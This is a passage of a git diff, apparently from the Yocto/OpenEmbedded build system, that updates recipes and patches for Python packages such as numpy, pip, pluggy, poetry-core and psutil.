@@ -59,15 +58,13 @@ index 3a6a7b2..6c2c3da 100644
- # gcc supports the "-print-multiarch" option
- default_x11_lib_dirs += [os.path.join("/usr/lib/", triplet)]
- default_lib_dirs += [os.path.join("/usr/lib/", triplet)]
+
+ default_lib_dirs = libpaths(['/deadir/lib'], platform_bits)
+ default_include_dirs = ['/deaddir/include']
+ default_src_dirs = ['.', '/deaddir/src']
-
++
+ default_x11_lib_dirs = libpaths(['/deaddir/lib'], platform_bits)
+ default_x11_include_dirs = ['/deaddir/include']
if os.path.join(sys.prefix, 'lib') not in default_lib_dirs:
default_lib_dirs.insert(0, os.path.join(sys.prefix, 'lib'))
---
-2.17.1
-
diff --git a/meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch b/meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch
new file mode 100644
index 0000000000..676bdbb3af
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch
@@ -0,0 +1,50 @@
+From eb6d6579150bf4684603ce377c51e90ad3bb8109 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 15 Nov 2020 15:32:39 -0800
+Subject: [PATCH] numpy/core: Define RISCV-32 support
+
+Helps compile on riscv32
+
+Upstream-Status: Submitted [https://github.com/numpy/numpy/pull/17780]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ numpy/core/include/numpy/npy_cpu.h | 3 +++
+ numpy/core/include/numpy/npy_endian.h | 1 +
+ 2 files changed, 4 insertions(+)
+
+diff --git a/numpy/core/include/numpy/npy_cpu.h b/numpy/core/include/numpy/npy_cpu.h
+index 78d229e..04be511 100644
+--- a/numpy/core/include/numpy/npy_cpu.h
++++ b/numpy/core/include/numpy/npy_cpu.h
+@@ -19,6 +19,7 @@
+ * NPY_CPU_ARCEB
+ * NPY_CPU_RISCV64
+ * NPY_CPU_LOONGARCH
++ * NPY_CPU_RISCV32
+ * NPY_CPU_WASM
+ */
+ #ifndef NUMPY_CORE_INCLUDE_NUMPY_NPY_CPU_H_
+@@ -104,6 +105,8 @@
+ #define NPY_CPU_ARCEB
+ #elif defined(__riscv) && defined(__riscv_xlen) && __riscv_xlen == 64
+ #define NPY_CPU_RISCV64
++#elif defined(__riscv) && defined(__riscv_xlen) && __riscv_xlen == 32
++ #define NPY_CPU_RISCV32
+ #elif defined(__loongarch__)
+ #define NPY_CPU_LOONGARCH
+ #elif defined(__EMSCRIPTEN__)
+diff --git a/numpy/core/include/numpy/npy_endian.h b/numpy/core/include/numpy/npy_endian.h
+index 5e58a7f..0926212 100644
+--- a/numpy/core/include/numpy/npy_endian.h
++++ b/numpy/core/include/numpy/npy_endian.h
+@@ -49,6 +49,7 @@
+ || defined(NPY_CPU_PPC64LE) \
+ || defined(NPY_CPU_ARCEL) \
+ || defined(NPY_CPU_RISCV64) \
++ || defined(NPY_CPU_RISCV32) \
+ || defined(NPY_CPU_LOONGARCH) \
+ || defined(NPY_CPU_WASM)
+ #define NPY_BYTE_ORDER NPY_LITTLE_ENDIAN
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/python/python3-numpy/fix_reproducibility.patch b/meta/recipes-devtools/python/python3-numpy/fix_reproducibility.patch
new file mode 100644
index 0000000000..d952aed00c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy/fix_reproducibility.patch
@@ -0,0 +1,33 @@
+This regex decides whether to use O3 opimisation on numpy or not.
+
+It includes "od", which happens to be a substring of "reproducible"
+but not "qemux86-world".
+
+The regex will run against all compiler options including things like:
+
+-fmacro-prefix-map=/XXX/build/tmp/work/core2-64-poky-linux/python3-numpy/1.26.0/numpy-1.26.0=/usr/src/debug/python3-numpy/1.26.0-r0
+
+i.e. including build paths.
+
+Reduce the regex to something deterministic for our builds, assuming
+nobody builds in /home/debug:full/
+
+The autobuilder race depended upon whether qemux86-world or the
+reproducible target ran first and won the race to populate sstate.
+
+Upstream-Status: Inappropriate [upstream have dropped distutils and switched to meson]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: numpy-1.26.0/numpy/distutils/ccompiler_opt.py
+===================================================================
+--- numpy-1.26.0.orig/numpy/distutils/ccompiler_opt.py
++++ numpy-1.26.0/numpy/distutils/ccompiler_opt.py
+@@ -990,7 +990,7 @@ class _CCompiler:
+ ("cc_is_nocc", "", ""),
+ )
+ detect_args = (
+- ("cc_has_debug", ".*(O0|Od|ggdb|coverage|debug:full).*", ""),
++ ("cc_has_debug", ".*debug:full.*", ""),
+ ("cc_has_native",
+ ".*(-march=native|-xHost|/QxHost|-mcpu=a64fx).*", ""),
+ # in case if the class run with -DNPY_DISABLE_OPTIMIZATION
diff --git a/meta/recipes-devtools/python/python3-numpy/run-ptest b/meta/recipes-devtools/python/python3-numpy/run-ptest
new file mode 100644
index 0000000000..9a1c72aeb1
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy/run-ptest
@@ -0,0 +1,5 @@
+#!/usr/bin/env python3
+
+import numpy
+numpy.test(label='full', verbose=2)
+
diff --git a/meta/recipes-devtools/python/python3-numpy_1.26.4.bb b/meta/recipes-devtools/python/python3-numpy_1.26.4.bb
new file mode 100644
index 0000000000..ccd08147af
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-numpy_1.26.4.bb
@@ -0,0 +1,64 @@
+SUMMARY = "A sophisticated Numeric Processing Package for Python"
+HOMEPAGE = "https://numpy.org/"
+DESCRIPTION = "NumPy is the fundamental package needed for scientific computing with Python."
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause & BSD-2-Clause & PSF-2.0 & Apache-2.0 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=a752eb20459cf74a9d84ee4825e8317c"
+
+SRCNAME = "numpy"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${SRCNAME}-${PV}.tar.gz \
+ file://0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch \
+ file://0001-numpy-core-Define-RISCV-32-support.patch \
+ file://fix_reproducibility.patch \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "2a02aba9ed12e4ac4eb3ea9421c420301a0c6460d9830d74a9df87efa4912010"
+
+GITHUB_BASE_URI = "https://github.com/numpy/numpy/releases"
+UPSTREAM_CHECK_REGEX = "releases/tag/v?(?P<pver>\d+(\.\d+)+)$"
+
+DEPENDS += "python3-cython-native"
+
+inherit ptest setuptools3 github-releases
+
+S = "${WORKDIR}/numpy-${PV}"
+
+CLEANBROKEN = "1"
+
+do_compile:prepend() {
+ export NPY_DISABLE_SVML=1
+}
+
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/numpy/core/lib/*.a ${PYTHON_SITEPACKAGES_DIR}/numpy/random/lib/*.a"
+
+# install what is needed for numpy.test()
+RDEPENDS:${PN} = "python3-unittest \
+ python3-difflib \
+ python3-pprint \
+ python3-pickle \
+ python3-shell \
+ python3-doctest \
+ python3-datetime \
+ python3-misc \
+ python3-mmap \
+ python3-netclient \
+ python3-numbers \
+ python3-pydoc \
+ python3-pkgutil \
+ python3-email \
+ python3-compression \
+ python3-ctypes \
+ python3-threading \
+ python3-multiprocessing \
+ python3-json \
+"
+RDEPENDS:${PN}-ptest += "python3-pytest \
+ python3-hypothesis \
+ python3-sortedcontainers \
+ python3-resource \
+ python3-typing-extensions \
+ ldd \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-packaging_24.0.bb b/meta/recipes-devtools/python/python3-packaging_24.0.bb
new file mode 100644
index 0000000000..0942eeb15e
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-packaging_24.0.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Core utilities for Python packages"
+HOMEPAGE = "https://github.com/pypa/packaging"
+LICENSE = "Apache-2.0 | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=faadaedca9251a90b205c9167578ce91"
+
+SRC_URI[sha256sum] = "eb82c5e3e56209074766e6885bb04b8c38a0c015d0a30036ebe7ece34c9989e9"
+
+inherit pypi python_flit_core
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Bootstrap the native build
+DEPENDS:remove:class-native = "python3-build-native"
+RDEPENDS:${PN} += "python3-profile"
+
+do_compile:class-native () {
+ python_flit_core_do_manual_build
+}
diff --git a/meta/recipes-devtools/python/python3-pathlib2_2.3.7.bb b/meta/recipes-devtools/python/python3-pathlib2_2.3.7.bb
new file mode 100644
index 0000000000..d4de40893a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pathlib2_2.3.7.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Object-oriented filesystem paths"
+HOMEPAGE = "https://github.com/mcmtroffaes/pathlib2"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=2dc08586cce3ab91bfa091b655c0e440"
+
+SRC_URI[sha256sum] = "7a4329d67beff9a712e1d3ae147e4e3e108b0bfd284ffdea03a635126c76b3c0"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "python3-six python3-ctypes"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pathspec_0.12.1.bb b/meta/recipes-devtools/python/python3-pathspec_0.12.1.bb
new file mode 100644
index 0000000000..b61f673397
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pathspec_0.12.1.bb
@@ -0,0 +1,13 @@
+SUMMARY = "Utility library for gitignore style pattern matching of file paths."
+HOMEPAGE = "https://github.com/cpburnz/python-path-specification"
+SECTION = "devel/python"
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=815ca599c9df247a0c7f619bab123dad"
+
+SRC_URI[sha256sum] = "a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "python3-profile"
diff --git a/meta/recipes-devtools/python/python3-pbr_5.4.4.bb b/meta/recipes-devtools/python/python3-pbr_5.4.4.bb
deleted file mode 100644
index 6f335ea341..0000000000
--- a/meta/recipes-devtools/python/python3-pbr_5.4.4.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-inherit setuptools3
-require python-pbr.inc
-
-SRC_URI[md5sum] = "65cdc32e1a1ff56d481fc15aa8caf988"
-SRC_URI[sha256sum] = "139d2625547dbfa5fb0b81daebb39601c478c21956dc57e2e07b74450a8c506b"
diff --git a/meta/recipes-devtools/python/python3-pbr_6.0.0.bb b/meta/recipes-devtools/python/python3-pbr_6.0.0.bb
new file mode 100644
index 0000000000..6c8171196a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pbr_6.0.0.bb
@@ -0,0 +1,4 @@
+inherit setuptools3
+require python-pbr.inc
+
+SRC_URI[sha256sum] = "d1377122a5a00e2f940ee482999518efe16d745d423a670c27773dfbc3c9a7d9"
diff --git a/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch b/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch
deleted file mode 100644
index 00cffe169b..0000000000
--- a/meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From e7a00e9b5104ae2fbcea32a35c85760b77fae7e5 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Thu, 23 Apr 2020 09:42:10 +0000
-Subject: [PATCH] change shebang to python3
-
-Upstream-Status: Pending
-
-pip will drop support of python2 from 21.0
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- src/pip/_internal/__init__.py | 2 +-
- src/pip/_vendor/appdirs.py | 2 +-
- src/pip/_vendor/chardet/cli/chardetect.py | 2 +-
- src/pip/_vendor/requests/certs.py | 2 +-
- 4 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/src/pip/_internal/__init__.py b/src/pip/_internal/__init__.py
-index 3aa8a46..e1ad179 100755
---- a/src/pip/_internal/__init__.py
-+++ b/src/pip/_internal/__init__.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- import pip._internal.utils.inject_securetransport # noqa
- from pip._internal.utils.typing import MYPY_CHECK_RUNNING
-
-diff --git a/src/pip/_vendor/appdirs.py b/src/pip/_vendor/appdirs.py
-index 3a52b75..ad3f81d 100644
---- a/src/pip/_vendor/appdirs.py
-+++ b/src/pip/_vendor/appdirs.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- # Copyright (c) 2005-2010 ActiveState Software Inc.
- # Copyright (c) 2013 Eddy Petrișor
-diff --git a/src/pip/_vendor/chardet/cli/chardetect.py b/src/pip/_vendor/chardet/cli/chardetect.py
-index c61136b..a497e98 100644
---- a/src/pip/_vendor/chardet/cli/chardetect.py
-+++ b/src/pip/_vendor/chardet/cli/chardetect.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- """
- Script which takes one or more file paths and reports on their detected
- encodings
-diff --git a/src/pip/_vendor/requests/certs.py b/src/pip/_vendor/requests/certs.py
-index 06a594e..bfa7839 100644
---- a/src/pip/_vendor/requests/certs.py
-+++ b/src/pip/_vendor/requests/certs.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- # -*- coding: utf-8 -*-
-
- """
---
-2.24.1
-
diff --git a/meta/recipes-devtools/python/python3-pip/no_shebang_mangling.patch b/meta/recipes-devtools/python/python3-pip/no_shebang_mangling.patch
new file mode 100644
index 0000000000..99fa14ee03
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pip/no_shebang_mangling.patch
@@ -0,0 +1,36 @@
+From 2aa82aeb0783c5fa7777b32bfe1dd3da9ae8fc6e Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Wed, 23 Feb 2022 12:27:06 +0000
+Subject: [PATCH] python3-pip: Don't change shebang
+
+Patch pip to disable shebang mangling and also force the python executable
+to be python3 from the environment when building anything for the target
+(or nativesdk). This avoids incorrect interpreter paths in the target scripts.
+
+Upstream-Status: Inappropriate [OE specific config]
+---
+ src/pip/_vendor/distlib/scripts.py | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/src/pip/_vendor/distlib/scripts.py b/src/pip/_vendor/distlib/scripts.py
+index cfa45d2..313f499 100644
+--- a/src/pip/_vendor/distlib/scripts.py
++++ b/src/pip/_vendor/distlib/scripts.py
+@@ -144,6 +144,8 @@ class ScriptMaker(object):
+ See also: http://www.in-ulm.de/~mascheck/various/shebang/#length
+ https://hg.mozilla.org/mozilla-central/file/tip/mach
+ """
++ if '_PYTHON_SYSCONFIGDATA_NAME' in os.environ:
++ return b'#!/usr/bin/env python3'
+ if os.name != 'posix':
+ simple_shebang = True
+ else:
+@@ -362,7 +364,7 @@ class ScriptMaker(object):
+ return
+
+ match = FIRST_LINE_RE.match(first_line.replace(b'\r\n', b'\n'))
+- if match:
++ if False:
+ adjust = True
+ post_interp = match.group(1) or b''
+
diff --git a/meta/recipes-devtools/python/python3-pip_20.0.2.bb b/meta/recipes-devtools/python/python3-pip_20.0.2.bb
deleted file mode 100644
index 99eeea2edf..0000000000
--- a/meta/recipes-devtools/python/python3-pip_20.0.2.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "The PyPA recommended tool for installing Python packages"
-HOMEPAGE = "https://pypi.org/project/pip"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=8ba06d529c955048e5ddd7c45459eb2e"
-
-DEPENDS += "python3 python3-setuptools-native"
-
-SRC_URI += "file://0001-change-shebang-to-python3.patch"
-
-SRC_URI[md5sum] = "7d42ba49b809604f0df3d55df1c3fd86"
-SRC_URI[sha256sum] = "7db0c8ea4c7ea51c8049640e8e6e7fde949de672bfa4949920675563a5a6967f"
-
-inherit pypi distutils3
-
-do_install_append() {
- # Install as pip3 and leave pip2 as default
- rm ${D}/${bindir}/pip
-}
-
-RDEPENDS_${PN} = "\
- python3-compile \
- python3-io \
- python3-html \
- python3-json \
- python3-netserver \
- python3-setuptools \
- python3-unixadmin \
- python3-xmlrpc \
- python3-pickle \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pip_24.0.bb b/meta/recipes-devtools/python/python3-pip_24.0.bb
new file mode 100644
index 0000000000..be4a29500a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pip_24.0.bb
@@ -0,0 +1,60 @@
+SUMMARY = "The PyPA recommended tool for installing Python packages"
+HOMEPAGE = "https://pypi.org/project/pip"
+SECTION = "devel/python"
+LICENSE = "MIT & Apache-2.0 & MPL-2.0 & LGPL-2.1-only & BSD-3-Clause & PSF-2.0 & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=63ec52baf95163b597008bb46db68030 \
+ file://src/pip/_vendor/cachecontrol/LICENSE.txt;md5=6572692148079ebbbd800be4b9f36c6d \
+ file://src/pip/_vendor/certifi/LICENSE;md5=3c2b7404369c587c3559afb604fce2f2 \
+ file://src/pip/_vendor/chardet/LICENSE;md5=4fbd65380cdd255951079008b364516c \
+ file://src/pip/_vendor/colorama/LICENSE.txt;md5=b4936429a56a652b84c5c01280dcaa26 \
+ file://src/pip/_vendor/distlib/LICENSE.txt;md5=f6a11430d5cd6e2cd3832ee94f22ddfc \
+ file://src/pip/_vendor/distro/LICENSE;md5=d2794c0df5b907fdace235a619d80314 \
+ file://src/pip/_vendor/idna/LICENSE.md;md5=239668a7c6066d9e0c5382e9c8c6c0e1 \
+ file://src/pip/_vendor/msgpack/COPYING;md5=cd9523181d9d4fbf7ffca52eaa2a5751 \
+ file://src/pip/_vendor/packaging/LICENSE;md5=faadaedca9251a90b205c9167578ce91 \
+ file://src/pip/_vendor/packaging/LICENSE.APACHE;md5=2ee41112a44fe7014dce33e26468ba93 \
+ file://src/pip/_vendor/pkg_resources/LICENSE;md5=141643e11c48898150daa83802dbc65f \
+ file://src/pip/_vendor/platformdirs/LICENSE;md5=ea4f5a41454746a9ed111e3d8723d17a \
+ file://src/pip/_vendor/pygments/LICENSE;md5=36a13c90514e2899f1eba7f41c3ee592 \
+ file://src/pip/_vendor/pyparsing/LICENSE;md5=657a566233888513e1f07ba13e2f47f1 \
+ file://src/pip/_vendor/pyproject_hooks/LICENSE;md5=aad69c93f605003e3342b174d9b0708c \
+ file://src/pip/_vendor/requests/LICENSE;md5=34400b68072d710fecd0a2940a0d1658 \
+ file://src/pip/_vendor/resolvelib/LICENSE;md5=78e1c0248051c32a38a7f820c30bd7a5 \
+ file://src/pip/_vendor/rich/LICENSE;md5=b5f0b94fbc94f5ad9ae4efcf8a778303 \
+ file://src/pip/_vendor/six.LICENSE;md5=43cfc9e4ac0e377acfb9b76f56b8415d \
+ file://src/pip/_vendor/tenacity/LICENSE;md5=175792518e4ac015ab6696d16c4f607e \
+ file://src/pip/_vendor/tomli/LICENSE;md5=aaaaf0879d17df0110d1aa8c8c9f46f5 \
+ file://src/pip/_vendor/typing_extensions.LICENSE;md5=fcf6b249c2641540219a727f35d8d2c2 \
+ file://src/pip/_vendor/urllib3/LICENSE.txt;md5=c2823cb995439c984fd62a973d79815c \
+ file://src/pip/_vendor/webencodings/LICENSE;md5=81fb24cd7823cce23b69f721993dce4d \
+ "
+
+inherit pypi python_setuptools_build_meta
+
+SRC_URI += "file://no_shebang_mangling.patch"
+
+SRC_URI[sha256sum] = "ea9bd1a847e8c5774a5777bb398c19e80bcd4e2aa16a4b301b718fe6f593aba2"
+
+do_install:append() {
+ rm -f ${D}/${bindir}/pip
+}
+
+RDEPENDS:${PN} = "\
+ python3-compile \
+ python3-io \
+ python3-html \
+ python3-json \
+ python3-multiprocessing \
+ python3-netserver \
+ python3-setuptools \
+ python3-unixadmin \
+ python3-xmlrpc \
+ python3-pickle \
+ python3-image \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# This used to use the bootstrap install which didn't compile. Until we bump the
+# tmpdir version we can't compile the native otherwise the sysroot unpack fails
+INSTALL_WHEEL_COMPILE_BYTECODE:class-native = "--no-compile-bytecode"
diff --git a/meta/recipes-devtools/python/python3-pluggy/run-ptest b/meta/recipes-devtools/python/python3-pluggy/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pluggy/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-pluggy_1.4.0.bb b/meta/recipes-devtools/python/python3-pluggy_1.4.0.bb
new file mode 100644
index 0000000000..76acc4ae27
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pluggy_1.4.0.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Plugin and hook calling mechanisms for python"
+HOMEPAGE = "https://github.com/pytest-dev/pluggy"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1c8206d16fd5cc02fa9b0bb98955e5c2"
+
+SRC_URI[sha256sum] = "8c85c2876142a764e5b7548e7d9a0e0ddb46f5185161049a79b7e974454223be"
+
+DEPENDS += "python3-setuptools-scm-native"
+RDEPENDS:${PN} += "python3-importlib-metadata \
+ python3-more-itertools \
+"
+
+inherit pypi ptest python_setuptools_build_meta
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ python3-pytest \
+ python3-unittest-automake-output \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/testing
+ cp -rf ${S}/testing/* ${D}${PTEST_PATH}/testing/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-ply_3.11.bb b/meta/recipes-devtools/python/python3-ply_3.11.bb
new file mode 100644
index 0000000000..a05bd6702d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-ply_3.11.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Python Lex and Yacc"
+DESCRIPTION = "Python ply: PLY is yet another implementation of lex and yacc for Python"
+HOMEPAGE = "https://pypi.python.org/pypi/ply"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://README.md;beginline=5;endline=32;md5=f5ee5c355c0e6719c787a71b8f0fa96c"
+
+SRC_URI[md5sum] = "6465f602e656455affcd7c5734c638f8"
+SRC_URI[sha256sum] = "00c7c1aaa88358b9c765b6d3000c6eec0ba42abca5351b095321aef446081da3"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target += "\
+ python3-netclient \
+ python3-shell \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-poetry-core_1.9.0.bb b/meta/recipes-devtools/python/python3-poetry-core_1.9.0.bb
new file mode 100644
index 0000000000..540fdffaed
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-poetry-core_1.9.0.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Poetry PEP 517 Build Backend"
+DESCRIPTION = "Poetry PEP 517 Build Backend"
+HOMEPAGE = "https://github.com/python-poetry/poetry-core"
+BUGTRACKER = "https://github.com/python-poetry/poetry-core"
+CHANGELOG = "https://github.com/python-poetry/poetry-core/blob/master/CHANGELOG.md"
+
+LICENSE = "Apache-2.0 & BSD-2-Clause & BSD-3-Clause & MIT"
+LIC_FILES_CHKSUM = "\
+ file://LICENSE;md5=78c39cfd009863ae44237a7ab1f9cedc \
+ file://src/poetry/core/_vendor/fastjsonschema/LICENSE;md5=18950e8362b69c0c617b42b8bd8e7532 \
+ file://src/poetry/core/_vendor/lark/LICENSE;md5=fcfbf1e2ecc0f37acbb5871aa0267500 \
+ file://src/poetry/core/_vendor/packaging/LICENSE;md5=faadaedca9251a90b205c9167578ce91 \
+ file://src/poetry/core/_vendor/packaging/LICENSE.APACHE;md5=2ee41112a44fe7014dce33e26468ba93 \
+ file://src/poetry/core/_vendor/packaging/LICENSE.BSD;md5=7bef9bf4a8e4263634d0597e7ba100b8 \
+ file://src/poetry/core/_vendor/tomli/LICENSE;md5=aaaaf0879d17df0110d1aa8c8c9f46f5 \
+"
+
+SRC_URI[sha256sum] = "fa7a4001eae8aa572ee84f35feb510b321bd652e5cf9293249d62853e1f935a2"
+
+inherit python_poetry_core pypi
+
+PYPI_PACKAGE = "poetry_core"
+
+RDEPENDS:${PN}:append:class-target = "\
+ python3-compression \
+ python3-core \
+ python3-crypt \
+ python3-io \
+ python3-json \
+ python3-logging \
+ python3-netclient \
+ python3-pathlib2 \
+ python3-pprint \
+ python3-shell \
+"
+
+RDEPENDS:${PN} += "\
+ python3-pip \
+ python3-six \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pretend_1.0.9.bb b/meta/recipes-devtools/python/python3-pretend_1.0.9.bb
new file mode 100644
index 0000000000..21d14a03b8
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pretend_1.0.9.bb
@@ -0,0 +1,11 @@
+SUMMARY = "A library for stubbing in Python"
+HOMEPAGE = "https://github.com/alex/pretend"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=411780c0b7fa756753e94affeee5bc99"
+
+SRC_URI[md5sum] = "ad53883ede48aeac7ae584f0de0240e8"
+SRC_URI[sha256sum] = "c90eb810cde8ebb06dafcb8796f9a95228ce796531bc806e794c2f4649aa1b10"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-psutil_5.9.8.bb b/meta/recipes-devtools/python/python3-psutil_5.9.8.bb
new file mode 100644
index 0000000000..1a394eda33
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-psutil_5.9.8.bb
@@ -0,0 +1,41 @@
+SUMMARY = "A cross-platform process and system utilities module for Python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a9c72113a843d0d732a0ac1c200d81b1"
+HOMEPAGE = "https://pypi.org/project/psutil/"
+
+SRC_URI[sha256sum] = "6be126e3225486dff286a8fb9a06246a5253f4c7c53b475ea5f5ac934e64194c"
+
+inherit pypi setuptools3
+
+PACKAGES =+ "${PN}-tests"
+
+FILES:${PN}-tests += " \
+ ${PYTHON_SITEPACKAGES_DIR}/psutil/test* \
+ ${PYTHON_SITEPACKAGES_DIR}/psutil/__pycache__/test* \
+"
+
+
+RDEPENDS:${PN} += " \
+ python3-shell \
+ python3-threading \
+ python3-xml \
+ python3-netclient \
+ python3-ctypes \
+ python3-resource \
+"
+
+RDEPENDS:${PN}-tests += " \
+ ${PN} \
+ python3 \
+ coreutils \
+ procps \
+ binutils \
+ gcc \
+ gcc-symlinks \
+ libstdc++ \
+ libstdc++-dev \
+"
+
+INSANE_SKIP:${PN}-tests += "dev-deps"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-py_1.11.0.bb b/meta/recipes-devtools/python/python3-py_1.11.0.bb
new file mode 100644
index 0000000000..31d5a377a7
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-py_1.11.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Library with cross-python path, ini-parsing, io, code, log facilities"
+HOMEPAGE = "http://py.readthedocs.io/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6bb0320b04a0a503f12f69fea479de9"
+
+SRC_URI[sha256sum] = "51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719"
+
+DEPENDS += "python3-setuptools-scm-native"
+
+inherit pypi python_setuptools_build_meta
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "python3-netclient"
diff --git a/meta/recipes-devtools/python/python3-pyasn1/run-ptest b/meta/recipes-devtools/python/python3-pyasn1/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyasn1/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-pyasn1_0.6.0.bb b/meta/recipes-devtools/python/python3-pyasn1_0.6.0.bb
new file mode 100644
index 0000000000..0519ba5edb
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyasn1_0.6.0.bb
@@ -0,0 +1,3 @@
+inherit pypi setuptools3
+require python-pyasn1.inc
+
diff --git a/meta/recipes-devtools/python/python3-pycairo_1.19.1.bb b/meta/recipes-devtools/python/python3-pycairo_1.19.1.bb
deleted file mode 100644
index 34c8543bce..0000000000
--- a/meta/recipes-devtools/python/python3-pycairo_1.19.1.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "Python bindings for the Cairo canvas library"
-HOMEPAGE = "http://cairographics.org/pycairo"
-BUGTRACKER = "http://bugs.freedesktop.org"
-SECTION = "python-devel"
-LICENSE = "LGPLv2.1 & MPLv1.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f3713ca2c28d9312ad718520b6dc3eee \
- file://COPYING-LGPL-2.1;md5=fad9b3332be894bab9bc501572864b29 \
- file://COPYING-MPL-1.1;md5=bfe1f75d606912a4111c90743d6c7325"
-
-# cairo >= 1.14
-DEPENDS = "cairo python3"
-
-SRC_URI = "https://github.com/pygobject/pycairo/releases/download/v${PV}/pycairo-${PV}.tar.gz"
-UPSTREAM_CHECK_URI = "https://github.com/pygobject/pycairo/releases/"
-
